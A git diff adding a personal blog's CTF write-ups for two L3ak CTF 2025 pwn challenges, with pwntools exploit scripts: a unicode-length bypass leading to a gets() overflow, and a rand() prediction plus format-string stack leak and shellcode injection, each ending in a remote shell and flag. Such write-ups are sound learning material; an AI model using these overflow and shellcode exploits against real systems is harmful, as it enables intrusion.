diff --git a/content/writeups/2025/l3ak_ctf/_index.md b/content/writeups/2025/l3ak_ctf/_index.md new file mode 100644 index 0000000..57e6ddd --- /dev/null +++ b/content/writeups/2025/l3ak_ctf/_index.md @@ -0,0 +1,7 @@ ++++ +date = '2025-07-14T09:11:19+02:00' +draft = false +title = 'L3ak ctf' ++++ + +A ctf that seems to be fairly big, I didn't spend much time on it so only solved 2 rather easy pwn challenges. diff --git a/content/writeups/2025/l3ak_ctf/pwn/safe_gets/chall.zip b/content/writeups/2025/l3ak_ctf/pwn/safe_gets/chall.zip new file mode 100644 index 0000000..c7e0276 Binary files /dev/null and b/content/writeups/2025/l3ak_ctf/pwn/safe_gets/chall.zip differ diff --git a/content/writeups/2025/l3ak_ctf/pwn/safe_gets/exploit.py b/content/writeups/2025/l3ak_ctf/pwn/safe_gets/exploit.py new file mode 100755 index 0000000..0d7e91c --- /dev/null +++ b/content/writeups/2025/l3ak_ctf/pwn/safe_gets/exploit.py @@ -0,0 +1,53 @@ +#!/usr/bin/python3 +from pwn import * + +# Allows you to switch between local/GDB/remote from terminal +def start(argv=[], *a, **kw): + if args.GDB: # Set GDBscript below + exe = local_exe + return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw) + elif args.REMOTE: # ('server', 'port') + return remote(sys.argv[1], sys.argv[2], *a, **kw) + elif args.SSH: + exe = remote_exe + s=ssh(host='HOST',user='LOGIN',password='PASSWORD',port=0000) + return s.process([exe] + argv) + else: # Run locally + exe = local_exe + return process([exe] + argv, *a, **kw) + + +# Specify your GDB script here for debugging +gdbscript = ''' +break main +break *main+202 +'''.format(**locals()) + + +# USE ./filename otherwise gdb will not work +local_exe = './chall' +remote_exe = 'REMOTE' +# This will automatically get context arch, bits, os etc +elf = context.binary = ELF(local_exe, checksec=False) +# Change logging level to help with debugging (error/warning/info/debug) +#context.log_level = 'debug' +context.log_level = 'info' + +# =========================================================== +# EXPLOIT GOES HERE +# =========================================================== + +io = start() + +payload = flat( + b"A"*74, + b"\x00", + "😄".encode("utf-8")*50, + b"A"*5, + pack((elf.symbols.win)+5) + ) +write("payload", payload) +io.sendlineafter(b"Enter your input (max 255 bytes): ", payload) + +# Receive the flag +io.interactive() diff --git a/content/writeups/2025/l3ak_ctf/pwn/safe_gets/index.md b/content/writeups/2025/l3ak_ctf/pwn/safe_gets/index.md new file mode 100644 index 0000000..ad9fa6b --- /dev/null +++ b/content/writeups/2025/l3ak_ctf/pwn/safe_gets/index.md @@ -0,0 +1,103 @@ ++++ +date = '2025-07-14T09:16:19+02:00' +draft = false +title = 'Safe Gets' +tags = [ "pwn" ] ++++ + +description: I think I found a way to make gets safe. +Author: White + +We are given a program and a python wrapper around it. + +## Main program + +Let's start with the program after a quick pass through ghidra +```C +int main(void) +{ + size_t input_len; + char buffer [259]; + char local_15; + int input_len_2; + ulong i; + + gets(buffer); + input_len = strlen(buffer); + input_len_2 = (int)input_len; + for (i = 0; i < (ulong)(long)(input_len_2 / 2); i = i + 1) { + local_15 = buffer[(long)(input_len_2 + -1) - i]; + buffer[(long)(input_len_2 + -1) - i] = buffer[i]; + buffer[i] = local_15; + } + puts("Reversed string:"); + puts(buffer); + return 0; +} + +void win(void) +{ + system("/bin/sh"); + return; +} +``` + +It's a simple compiled C program that reverses a string, the interesting thing is the call to `gets` that allows us to overflow the buffer overwrite the return pointer and jump to the beautiful `win` function. +No binary protections are stopping us from doing this except the python wrapper the program is launched from. +``` +[*] 'l3ak_ctf/pwn/safe_gets/chall' + Arch: amd64-64-little + RELRO: Partial RELRO + Stack: No canary found + NX: NX enabled + PIE: No PIE (0x400000) + SHSTK: Enabled + IBT: Enabled + Stripped: No +``` + +## Python wrapper + +Most of it doesn't matter for us except this small part that limits the length of the input we provide to 255. +```python +BINARY = "./chall" +MAX_LEN = 0xff + +# Get input from user +payload = input(f"Enter your input (max {MAX_LEN} bytes): ") +if len(payload) > MAX_LEN: + print("[-] Input too long!") + sys.exit(1) +``` + +Thus the tricky part is to bypass this limit because we need to write at least 275 chars to have a big enough overflow. + +## Solve + +So what does the `len` function count ? It counts unicode codepoints which can be multiple bytes long. +So I replace the part of my payload responsible for filling up the buffer by 😄 emojis and after solving a stack alignment problem I get a shell and the flag. + +Here is my solve script (the interesting part). +```python +io = start() +payload = flat( + b"A"*74, + b"\x00", + "😄".encode("utf-8")*50, + b"A"*5, + pack((elf.symbols.win)+5) + ) +io.sendlineafter(b"Enter your input (max 255 bytes): ", payload) +io.interactive() +``` +And when running it we get the flag. +``` +>>> ./exploit.py REMOTE 34.45.81.67 16002 +[+] Opening connection to 34.45.81.67 on port 16002: Done +[*] Switching to interactive mode +$ cat flag.txt +L3AK{6375_15_4pp4r3n7ly_n3v3r_54f3} +[*] Interrupted +[*] Closed connection to 34.45.81.67 port 16002 +``` + diff --git a/content/writeups/2025/l3ak_ctf/pwn/the_goose/chall.zip b/content/writeups/2025/l3ak_ctf/pwn/the_goose/chall.zip new file mode 100644 index 0000000..7991472 Binary files /dev/null and b/content/writeups/2025/l3ak_ctf/pwn/the_goose/chall.zip differ diff --git a/content/writeups/2025/l3ak_ctf/pwn/the_goose/exploit.py b/content/writeups/2025/l3ak_ctf/pwn/the_goose/exploit.py new file mode 100755 index 0000000..85debf3 --- /dev/null +++ b/content/writeups/2025/l3ak_ctf/pwn/the_goose/exploit.py @@ -0,0 +1,62 @@ +#!/usr/bin/python3 +from pwn import * +import subprocess + +# Allows you to switch between local/GDB/remote from terminal +def start(argv=[], *a, **kw): + if args.GDB: # Set GDBscript below + exe = local_exe + return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw) + elif args.REMOTE: # ('server', 'port') + return remote(sys.argv[1], sys.argv[2], *a, **kw) + elif args.SSH: + exe = remote_exe + s=ssh(host='HOST',user='LOGIN',password='PASSWORD',port=0000) + return s.process([exe] + argv) + else: # Run locally + exe = local_exe + return process([exe] + argv, *a, **kw) + + +# Specify your GDB script here for debugging +gdbscript = ''' +break *highscore+276 +'''.format(**locals()) + + +# USE ./filename otherwise gdb will not work +local_exe = './chall' +remote_exe = 'REMOTE' +# This will automatically get context arch, bits, os etc +elf = context.binary = ELF(local_exe, checksec=False) +# Change logging level to help with debugging (error/warning/info/debug) +#context.log_level = 'debug' +context.log_level = 'info' + +# =========================================================== +# EXPLOIT GOES HERE +# =========================================================== + +io = start() + +number = subprocess.run(["./predict"], capture_output=True).stdout +io.sendlineafter(b"> ", b"GOD") +io.sendlineafter(b'so GOD. how many honks?', number) + +io.sendlineafter(b"what's your name again?", b'%p') + +stack = int(io.recv().decode().split()[1], 16) +stack -= 0x126 # Offset to our buffer + +# Space before return pointer 376 +sh = asm(shellcraft.amd64.linux.sh()) + +payload = flat( + asm('nop')*100, + sh, + b'A'*(376-100-len(sh)), + pack(stack) + ) +io.sendline(payload) + +io.interactive() diff --git a/content/writeups/2025/l3ak_ctf/pwn/the_goose/index.md b/content/writeups/2025/l3ak_ctf/pwn/the_goose/index.md new file mode 100644 index 0000000..e48a703 --- /dev/null +++ b/content/writeups/2025/l3ak_ctf/pwn/the_goose/index.md @@ -0,0 +1,168 @@ ++++ +date = '2025-07-14T09:16:28+02:00' +draft = false +title = 'The goose' +tags = [ "pwn" ] ++++ + +description: When the honking gets tough, you better brush up on your basics. +Author: dsp + +For this challenge we are given the binary and the Dockerfile +``` +>>> pwn checksec --file=chall <<< +[*] 'l3ak_ctf/pwn/the_goose/chall' + Arch: amd64-64-little + RELRO: Partial RELRO + Stack: No canary found + NX: NX unknown - GNU_STACK missing + PIE: PIE enabled + Stack: Executable + RWX: Has RWX segments + Stripped: No +``` + +No stack canary and executable stack we can already guess this will involve a shellcode. + +## Exploration + +``` +>>> the_goose ./chall +Welcome to the goose game. +Here you have to guess a-priori, how many HONKS you will receive from a very angry goose. +Godspeed. +How shall we call you? +> GOD + +so GOD. how many honks?10 + + HONK ... HONK +tough luck. THE GOOSE WINS! GET THE HONK OUT! +``` + +So it seems like we have to guess the number of HONKs from the goose. +Let's fire up ghidra and look at what we facing. + +```C +int main(void) +{ + int iVar1; + time_t tVar2; + + setvbuf(stdout,(char *)0x0,2,0); + tVar2 = time((time_t *)0x0); + srand((uint)tVar2); + setuser(); + iVar1 = rand(); + nhonks = iVar1 % 0x5b + 10; + iVar1 = guess(); + if (iVar1 == 0) { + puts("tough luck. THE GOOSE WINS! GET THE HONK OUT!"); + } + else { + highscore(); + } + return 0; +} +``` + +The number of honks are generated by `rand()` which is seeded with the current time. +If we correctly guess the number of honks we go inside of the highscore function. +```C +void highscore(void) +{ + undefined message_buffer [128]; + char buffer_random [31]; + undefined local_d9; + undefined name_buffer [32]; + char success_message [74]; + + /* The message is written one char at a time I placed everything on the same line to make it readable */ + success_message = "wow %s you\'re so go what message would you like to leave to the world?" + success_message[0x49] = '\0'; + printf("what\'s your name again?"); + scanf("%31s",name_buffer); + local_d9 = 0; + sprintf(buffer_random,success_message,name_buffer); + printf(buffer_random); + read(0,message_buffer,0x400); + printf("got it. bye now."); + return; +} +``` + +The highscore function has a really obvious buffer overflow on the call to `read` that would allow us to inject shellcode and jump to it. +So there are two steps to this challenge : +1. Guessing the number of honks +2. Exploiting the `highscore` function to get a shell + +## Guessing the number of honks + +The random number generator is initialised using `srand(time(NULL))` which makes the seed the second of the call to `srand`. +We also know how the number of honks is calculated (`nhonks = iVar1 % 0x5b + 10;`). +From there we can easily compute the number with a small C program +```C +#include +#include +#include + +int main(void) +{ + srand(time(NULL)); + printf("%d", (rand() % 0x5b + 10)); + return 0; +} +``` + +After compiling we can call it from a pwntools script and correctly guess the number of honks (if you are on a slow link you can add 1 or 2 to the `srand` time). +```python +number = subprocess.run(["./predict"], capture_output=True).stdout +io.sendlineafter(b"> ", b"GOD") +io.sendlineafter(b'so GOD. how many honks?', number) +``` + +## Exploiting the highscore function + +Using the buffer overflow on the `read` call we can easily place a shellcode on the stack (there is no NX). +The only problem is finding the address of something on the stack to be able to jump to our shellcode. +This can be done using the format string vulnerability when we are asked for our name again. Giving `%p` as the name we are able to leak a pointer to the stack. +The last step is to calculate the offsets and finish writing the exploit scrip + +## Putting it all together + +```python +io = start() + +number = subprocess.run(["./predict"], capture_output=True).stdout +io.sendlineafter(b"> ", b"GOD") +io.sendlineafter(b'so GOD. how many honks?', number) + +io.sendlineafter(b"what's your name again?", b'%p') + +stack = int(io.recv().decode().split()[1], 16) +stack -= 0x126 # Offset to our buffer + +# Space before return pointer 376 +sh = asm(shellcraft.amd64.linux.sh()) + +payload = flat( + asm('nop')*100, + sh, + b'A'*(376-100-len(sh)), + pack(stack) + ) +io.sendline(payload) + +io.interactive() +``` + +We run it and there we go +``` +>>> ./exploit.py REMOTE 34.45.81.67 16004 <<< +[+] Opening connection to 34.45.81.67 on port 16004: Done +[*] Switching to interactive mode +got it. bye now.$ cat /flag.txt +L3AK{H0nk_m3_t0_th3_3nd_0f_l0v3} +[*] Interrupted +[*] Closed connection to 34.45.81.67 port 16004 +``` diff --git a/content/writeups/2025/l3ak_ctf/pwn/the_goose/predict.c b/content/writeups/2025/l3ak_ctf/pwn/the_goose/predict.c new file mode 100644 index 0000000..d01ca0e --- /dev/null +++ b/content/writeups/2025/l3ak_ctf/pwn/the_goose/predict.c @@ -0,0 +1,10 @@ +#include +#include +#include + +int main(void) +{ + srand(time(NULL) + 1); + printf("%d", (rand() % 0x5b + 10)); + return 0; +}